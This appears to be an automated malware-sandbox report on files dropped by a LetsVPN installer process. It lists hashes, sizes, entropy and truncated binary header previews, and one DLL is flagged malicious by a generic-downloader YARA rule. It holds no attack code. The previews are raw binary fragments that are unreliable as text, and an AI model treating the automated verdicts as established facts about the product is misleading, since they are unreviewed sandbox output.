                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):93672
                                                                                            Entropy (8bit):5.518790914667912
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:x2Ec05j4eAH64rh5fSt5T9nFcI94WxAwrxo:glK4eA7mDmWxhK
                                                                                            MD5:668EAEC427F8A4C3D57E8A580B0E2C73
                                                                                            SHA1:91EBE1C270DE93C66FA8713675CA3CD595B80909
                                                                                            SHA-256:EC365F7AFB9B44FC128D6327A17D4A1D1201F34E36ACA5DDF5D8055498BCA96E
                                                                                            SHA-512:A3DBCEB380621F621722D2B9B2535ECE9AFF950A5038F4F99FCD6BB75F09B3527C2EBA664A4EE4DF3B86B52068E3CB85F84156056D9A155D6BC57D34A6F0C19F
                                                                                            Malicious:true
                                                                                            Yara Hits:
                                                                                            • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll, Author: Joe Security
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M..Z.........." ..0..8...........U... ...`....... ....................................@..................................U..O....`..,............B...+........................................................... ............... ..H............text....6... ...8.................. ..`.rsrc...,....`.......:..............@..@.reloc...............@..............@..B.................U......H.......P ...4..................,U......................................BSJB............v4.0.30319......l...|...#~.....d...#Strings....L3......#US.T3......#GUID...d3..x...#Blob......................3................................q.....2B........e$.M...,.M.....M...4.M...1.M...1.M..v..M...*.M...*.M....p...........................!.....).....1.....9.....A.....I.................................#.......+.......3.......;.J.....C.f.....K.f...................2.....................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\pl\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20456
                                                                                            Entropy (8bit):6.786590669634782
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:cnss4wvEmF+4wpwlU+nACUOWe6lWAqpwKANynsAw/98E9VF3AM+oN2am:cn/PArHAw/KENAMxQB
                                                                                            MD5:A034D19DDC69D985BC6E6F4542258CB6
                                                                                            SHA1:57F1A9AEB02522379AD005C2F3064E6BA0AAEB9C
                                                                                            SHA-256:47DC867FAA75E90302A764CCB8E309008CD24FE3AED89AD2FE2AE69FC6A199A0
                                                                                            SHA-512:74C4A4AEF3650786791495A2D1023829A92872E80DAB5206AD6C0C489E759C73544263C202342A959A6E7D8BF374B3DBFAAD7AC915ACF861236B7838B7A9B203
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...I............." ..0..............9... ...@....... ....................................@.................................x9..O....@...............$...+...`......\9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......P ...............%.......8......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................u...........].....].....]...A.]...^.].....]...*.].................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@.....................Z.............

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\pt-BR\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20456
                                                                                            Entropy (8bit):6.711860474257598
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:MqXQfVeSN32XFZWe6lW0UZpwKANynsAw/98E9VF3AM+oqTthC:Mg0Vyig4Aw/KENAMxGI
                                                                                            MD5:816AA76B470505EB57B1AC780CC938AF
                                                                                            SHA1:2DCD6B287BBA995086874D676D3A5816FE3376BF
                                                                                            SHA-256:DAC4959224188439661696FF3BEA86B1C20F172F4E60358EE60522F21F5FC1F9
                                                                                            SHA-512:F29D4490429AB8EE05186BC198F89A4495D20681D39CD8FAB027678FBABE26FB7EFFD48D0AD60388B87FFA93A2EFAE99757B394515F93FD439FA0F501116C538
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...m............." ..0.............V9... ...@....... ..............................(W....@..................................9..O....@...............$...+...`.......8............................................... ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................89......H.......P ...............%......h8......................................BSJB............v4.0.30319......l...D...#~......$...#Strings............#US.........#GUID...........#Blob......................3......................................2.......................x...........`.....`.....`...G.`...d.`.....`...0.`.................r.....r.....r...).r...1.r...9.r...A.r...I.r...Q.r...Y.r.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\ru\LetsPRO.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):76776
                                                                                            Entropy (8bit):5.911997633120142
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:wzaor6WtGrIHOHfufUGBLR+gP8874zGgSmj40sqXz2RgUgmcAwrxVgq:kHBV+gP8874zGgSmjwqXz2RgUgmchsq
                                                                                            MD5:3575DE62FE6E8E298CF383F0C207B6BB
                                                                                            SHA1:D2C575E4269C6481A83B3569CF9CEA9616B1454E
                                                                                            SHA-256:09A9C121C4333EB77A371A58B21EFE009280FAD654BA4E0283ABD81DA7F9217B
                                                                                            SHA-512:4A145A4369C95FE863F99A35109940C7186DABF7DD9DFC56A150E6923C19C9DD646E875A9AB85FAF3DC90359323BD0CFB73C8DF83B150B432440ED32F6B0DC45
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!................^.... ... ....... .......................`......y4....@.....................................O.... ...................+...@....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................@.......H...........$...........P .............................................................lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\ru\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):21992
                                                                                            Entropy (8bit):6.747265377557041
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:A8knfHjuXOQWe6lWddpwKANynsAw/98E9VF3AM+oh1r57:ZAuXO1BAw/KENAMx/57
                                                                                            MD5:A000E17C48AFF375A9D5DAE4637E6D9C
                                                                                            SHA1:31B1589DA8BD4E84FB9F4D3F67905A0361189B85
                                                                                            SHA-256:E033AD89A82E6EF1CCB82270C98A7D899E93386F8566F6D662ABA1241B0D46AE
                                                                                            SHA-512:626C30E90E9EDBB73A07D1DBC16919BC39B2A46E249B17A1D8D188A315D3733B1CDA2F0C4689DF68B7D1B5FD7EFF2799CAC4989E32885FB65BF1ADF1B84E1F98
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...(............." ..0.. ...........>... ...@....... ....................................@..................................>..O....@...............*...+...`.......>............................................... ............... ..H............text........ ... .................. ..`.rsrc........@......."..............@..@.reloc.......`.......(..............@..B.................>......H.......P ...............%..8....>......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-arm\native\e_sqlite3.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) ARMv7 Thumb, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):905704
                                                                                            Entropy (8bit):7.13132834632752
                                                                                            Encrypted:false
                                                                                            SSDEEP:24576:KoXErM5iD28EYQg502GXoU5C0ParRvbLhP:zXriD28xj52X7arp5
                                                                                            MD5:785ADFB1D1268995620F5F2B8E8D00EE
                                                                                            SHA1:A54E349EE1DE7BCD57B239D61B8ED714F3471778
                                                                                            SHA-256:7873A0DE5DADE79E12899A20D8218FAE100110FFBCA0F516E8249B7F528DF3AE
                                                                                            SHA-512:A52BB4C7D3446394706692F71A8F77D493DA2AEE356520BF1B10A2BCCDEEA24D8DD6BA227C1152D56732C52F03DA8014E9B15966E4092DEF2753A4C90BF50F9C
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`^ .$?N.$?N.$?N..WK..?N..WJ.*?N..WO.'?N.$?O..?N.%RK.9?N.%RJ.)?N.%RM.*?N..RJ.&?N..RN.%?N..R..%?N..RL.%?N.Rich$?N.........PE........^.........."!........................ ......................................R.....@A............................"......(............@..hO.......+.......?..0l..T............................l............... ...............................text............................... ..`.rdata..B.... ......................@..@.data...<J.......>..................@....pdata..hO...@...P..................@..@.rsrc................d..............@..@.reloc...?.......@...f..............@..B........................................................................................................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x64\native\e_sqlite3.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):1314280
                                                                                            Entropy (8bit):6.546943837506406
                                                                                            Encrypted:false
                                                                                            SSDEEP:24576:dwDD7AuRNZxBNzFlbZcN16AL9hwYi20TAg7wkPL3:dIDbR1L/m9KYixcW7
                                                                                            MD5:938A6FE5476FCEE6EA9E84989ACE173C
                                                                                            SHA1:A73BA1BA2E14E7BD63511A9117537B27D3830193
                                                                                            SHA-256:CB5CA40D259E44F3EB81F91C1662F7FFED539460DC6850EDB13207D3F4BDB878
                                                                                            SHA-512:05C0035DC84BBD1E35391B0C3E52F93EE03629BEAB7095A3E1A854D8CC1A689ED789FA78370CD3424B4783F4EE04EFF883AEDA10CDCB474CFB99BCDCDD04B00D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.[.~.5.~.5.~.5.%.1.u.5.%.6.v.5.%.0...5.%.4.}.5.~.4...5...0.`.5...1.p.5...6.v.5..1.|.5..5...5......5..7...5.Rich~.5.........PE..d.....^.........." ................P........................................P......z.....`A........................................ ...."..(...(.... .......@..h........+...0..........T............................................................................text............................... ..`.rdata..............................@..@.data....i.......T..................@....pdata..h....@......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x86\native\e_sqlite3.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):1029608
                                                                                            Entropy (8bit):6.749777649807674
                                                                                            Encrypted:false
                                                                                            SSDEEP:24576:rBvdKGB6hOsMxCmy+rAnpyAqhTz3RzVNUOxKKoSQd:NvdKGBmWNAnpc3Rz1KKoS8
                                                                                            MD5:EE9E953ADF3EC9EEBA38CB55A5F3DC52
                                                                                            SHA1:9FE2E4C80D731131A3284E4C22C137CFC669CF55
                                                                                            SHA-256:78B7CBE99FFA1BF2DEFBE87FD219246DA55F5A677D7E60453A0EA3CF91F2D2A3
                                                                                            SHA-512:554F0FCFA4181E243BF52015075498A17E2498623860F0BFAEA81BDD4F94286EDC69F43E1E6B164052040E3D1872A5718501EC8F877B0C5888370714555A91A4
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........E......................#.....................2...........................z.......z.......z.......z.......Rich............................PE..L.....^...........!.....R...B..............p......................................pQ....@A........................ ...."..(...(....`...................+...p...\......T...........................(...@............p...............................text....Q.......R.................. ..`.rdata..z....p.......V..............@..@.data....K.......>..................@....rsrc........`.......*..............@..@.reloc...\...p...^...,..............@..B........................................................................................................................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\tr\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20456
                                                                                            Entropy (8bit):6.6984022574942355
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:ffH3xC8M83We6lWnTpwKANynsAw/98E9VF3AM+otxJTFXG:3c8M8YFAw/KENAMxrrG
                                                                                            MD5:91AE72A8E53FA3669B56FE855EE217EB
                                                                                            SHA1:3C15EFF5FB84420548FE9F162BF22E5AA775BB0C
                                                                                            SHA-256:CAD300B595907682762CC2EBAF9C856F54A37D4373A6D96A5FF1C6113532179F
                                                                                            SHA-512:EDC220CAD9A55F724BA43912D89F22CDAE56BDFC65A3E19040E54FCCB82443C532516FC585409CCE4496116D656B345420CCC737BBD0FB880A4BBB39A5B8D210
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S............." ..0.............J8... ...@....... ..............................AY....@..................................7..O....@...............$...+...`.......7............................................... ............... ..H............text...P.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................,8......H.......P ...............%......\7......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................u...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@.....................r.............

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\x64\WebView2Loader.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):138728
                                                                                            Entropy (8bit):6.191078705692302
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:yqMrTPTNy56J4JQSfB6yRkkGvaYhfls6DREtfw6aQ59hc:yNPTQ6Ga+BtakGvVEtCOhc
                                                                                            MD5:30FCCFBD9F0988ADA9C87072C565F1C5
                                                                                            SHA1:98D75EBCBAF23A4914CD475C14918432C89C7F92
                                                                                            SHA-256:F65A5AF7997ED93583243C245237C09A088D00C63268287CDCC05028A9BDF57A
                                                                                            SHA-512:BBF9F0F9CD33631F2A548F367F5BDDCFCAF58EA3391A327FE0B3A2FE88AEAE86F093B91BFF9BF0B9B7010240D2DF2EC6EDA3AEF0DED1BB14FF39A29E51938226
                                                                                            Malicious:false
                                                                                            Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......`.........." ................P9.......................................p............`A........................................G.......9...(....P...................+...`......D...........................(....1..0..................8........................text............................... ..`.rdata.......0......................@..@.data...............................@....pdata..............................@..@.00cfg..(.... ......................@..@.tls.........0......................@..._RDATA.......@......................@..@.rsrc........P......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\x86\WebView2Loader.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):112616
                                                                                            Entropy (8bit):6.526884991962997
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:hlzhJmad5M+ekPfJFVwKrSDnuP7HCt+/NyIDfEtPsn/j481Jhc:hlzqaHM+eCTrSDuP7ZbEtUnr51Jhc
                                                                                            MD5:065E6B499AA4E746E189A763A62FDD36
                                                                                            SHA1:A053AE3E8D86A8399E689E76614412112EC67DA7
                                                                                            SHA-256:10335A1F61B0C6DEBCAE682DCA6E456CF515C744A70B3E63A21E9577ADA11317
                                                                                            SHA-512:EE40EE00536A806053DBC09498F70699988D90B0466E26D4B842D2D04A5FFB9F550329B0431B432258CFE3D20D13C4ED6D426734B3713C2931E589DB253B5DF9
                                                                                            Malicious:false
                                                                                            Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......`.........."!.................4....................................................@A.........................k.......l..(........................+......L...Ph.......................f......`...............8n..8....i.......................text...e........................... ..`.rdata...k.......l..................@..@.data................d..............@....00cfg...............n..............@..@.tls.................p..............@....voltbl.H............r...................rsrc................t..............@..@.reloc..L............z..............@..B........................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\zh-CN\LetsPRO.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):58856
                                                                                            Entropy (8bit):6.2824901287107195
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:J0/zwwtNGdrRXT6oqSvMGG4f0euQnlt41BOUAw/KENAMxJh:Yzwe+1eoqaO4f05+ltFUAwrxf
                                                                                            MD5:6E6BB5F1812895826B6EBB85864D1183
                                                                                            SHA1:AB6F508FBE8E52C3E573139554910378EDD3CEB9
                                                                                            SHA-256:A596ABADAFFDE49030BD28C86DDD49659DE89FBC491E129F571FDE161D2436E3
                                                                                            SHA-512:0A2897B21C74F019EC93CB889BEC7556F46485C6E86C70A1FD996BA22EB4DC4CA414DD6921A1C53F3C57F5890EB5F5F16F7009327631A83CF2A605DB5F6A959D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... ............@.....................................S........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......p...(...........P .............................................................lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\zh-HK\LetsPRO.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):59368
                                                                                            Entropy (8bit):6.250778881491314
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:10/zwwmSLGdKS2BUk1GXjgCEbOZ6zpcO+6jcHyYqwAw/KENAMxR5:EzweIKf+kyjgC2U++OcHWwAwrxR5
                                                                                            MD5:0ED1039C803117E7F1EE77A66E39032C
                                                                                            SHA1:E37C7D215FD6404932B7E09528CE47978E4E6B3A
                                                                                            SHA-256:B1C02DE95565AF3026675B4DDB224EB976EB244F8F814F7413758A02ABA99A04
                                                                                            SHA-512:711B678F342F8231E1F2AC6D58E608DDB8382246BDCA98F22B40667B0132753C9D9A7B3FA6681D48168A7162C2654BC00E7336FBF4BC6C0BF9E79950A6407336
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... .......a....@.....................................W........................+........................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H...........(...........P ..J...........................................F..............lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\zh-Hans\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):19944
                                                                                            Entropy (8bit):6.9192612268553875
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:GX3HhVhLu4y8VWe6lW+GpwKANynsAw/98E9VF3AM+op1ZT+9:E3h/aVAw/KENAMxTdG
                                                                                            MD5:B2DAD50023AB7A545088F2807A312AC8
                                                                                            SHA1:C4FED772FB95B1DCC416ABA1B1944CD1801B95BB
                                                                                            SHA-256:D82DA0613998ABF7F3833F8F53177D0D478E8A7CF958A60D22589BEDC1BDD6EF
                                                                                            SHA-512:2AE415C4DA40453CF9D18B2BC36A6478C073E17E5F36A029A9936D88AF346F00C563BC7FF4D1DFD6211A1D09603E6AD4EE36719A63DCB5F918115FD7DC1136DC
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R]..........." ..0..............7... ...@....... ....................................@.................................h7..O....@..............."...+...`......L7............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................7......H.......P ...............%.......6......................................BSJB............v4.0.30319......l...D...#~......(...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\zh-Hant\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):19944
                                                                                            Entropy (8bit):6.91886497267212
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:D/wkIv2FCcTWe6lWW/pwKANynsAw/98E9VF3AM+oLPaDft3J:jgdUAw/KENAMxLExJ
                                                                                            MD5:A98A381BDBB31FA9E36425006F7BE384
                                                                                            SHA1:8275B6074DEF0CA3AC0A80537C413B7D0504316F
                                                                                            SHA-256:6400DEBDBA363394415FD453A2506B917BCE25671F63B064D278E1C04725B120
                                                                                            SHA-512:97FA4D6FD6857F7B52CF76A9E08E66B6A9110B84455ED5DAAC9E538D96030242A1FA17CA397D2BEFF74FB06F2226D7050C6FB06B5D45C5C7EF1FE47EE95E2BDA
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L............" ..0..............7... ...@....... ....................................@.................................`7..O....@..............."...+...`......D7............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................7......H.......P ...............%.......6......................................BSJB............v4.0.30319......l...D...#~......(...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\zh-MO\LetsPRO.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):59368
                                                                                            Entropy (8bit):6.25029903248847
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:y0/zwwmSLGdKS2BUk1GXjgCEbOZ6zpcO+6jcHyLqeAw/KENAMxcSK:fzweIKf+kyjgC2U++OcH5eAwrxcSK
                                                                                            MD5:C2D1CD0877E5B4B8B1155EA9438D0696
                                                                                            SHA1:F6C80160ED25F1F31775AF663135A2550457EE73
                                                                                            SHA-256:CDE72E846C830CE5EE7CFD7E79DC9BB9D4C5EC2518714A8A528B90B2DBD8940F
                                                                                            SHA-512:80FB5EF3A3B3DD63541E88446BB9C1BA11847456B4CE34C59CE789209F0FD999D88FED2FBCC2EB07443A883A151CB71343FC49101D06A2A94AA9FA853C1B79F4
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... .......2....@.....................................W........................+........................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H...........(...........P ..J...........................................F..............lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\zh-SG\LetsPRO.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):58856
                                                                                            Entropy (8bit):6.2826634461561195
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:X0/zwwtNGdrRXT6oqSvMGG4f0euQnlt41UOdAw/KENAMxFn:Ozwe+1eoqaO4f05+lt8dAwrxFn
                                                                                            MD5:81F516B83BEA344D14C88055FC274B42
                                                                                            SHA1:DA54E97A3C85996452A7A7E8BD1EC05A688605ED
                                                                                            SHA-256:FA1A4A6D892C10B223671BBF06616222CDF03647DEE7CEAD3CB9C3FE8659C039
                                                                                            SHA-512:9CBF4DBC80661EFC9D48EFC608DA88B8B613E145D4ED8E81AD21DB0E80EEBA55F138C8CB99C2444C8AE509DC82721C3FD48654B8D3D9EFE3D122CE7D582C7D84
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... ......G.....@.....................................S........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......p...(...........P .............................................................lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\zh-TW\LetsPRO.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):59368
                                                                                            Entropy (8bit):6.251445115242629
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:C0/zwwmSLGdKS2BUk1GXjgCEbOZ6zpcO+6jcHy3qCAw/KENAMxW:vzweIKf+kyjgC2U++OcHJCAwrxW
                                                                                            MD5:9A1E323CA028F5F6D7395B69181001F3
                                                                                            SHA1:9D7D1EA76A24D0153F13D866BF1A73138E9742E4
                                                                                            SHA-256:FE39DEB6FC7FE9900B92A4F258942D46AB61A9D2BFE81D768814EFBAEA048D76
                                                                                            SHA-512:5BD56A2860B5F88B00342A8707D80D2D8C1143888A190D2C8CF8CDB9D43469E52172DDA326E54A4CCBD325A9FCAB5B80982B0E2145EE05A20D4CB3ED1845AB9B
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... ......b.....@.....................................W........................+........................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H...........(...........P ..J...........................................F..............lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

                                                                                            C:\Program Files (x86)\letsvpn\driver\OemVista.inf

                                                                                            Download File
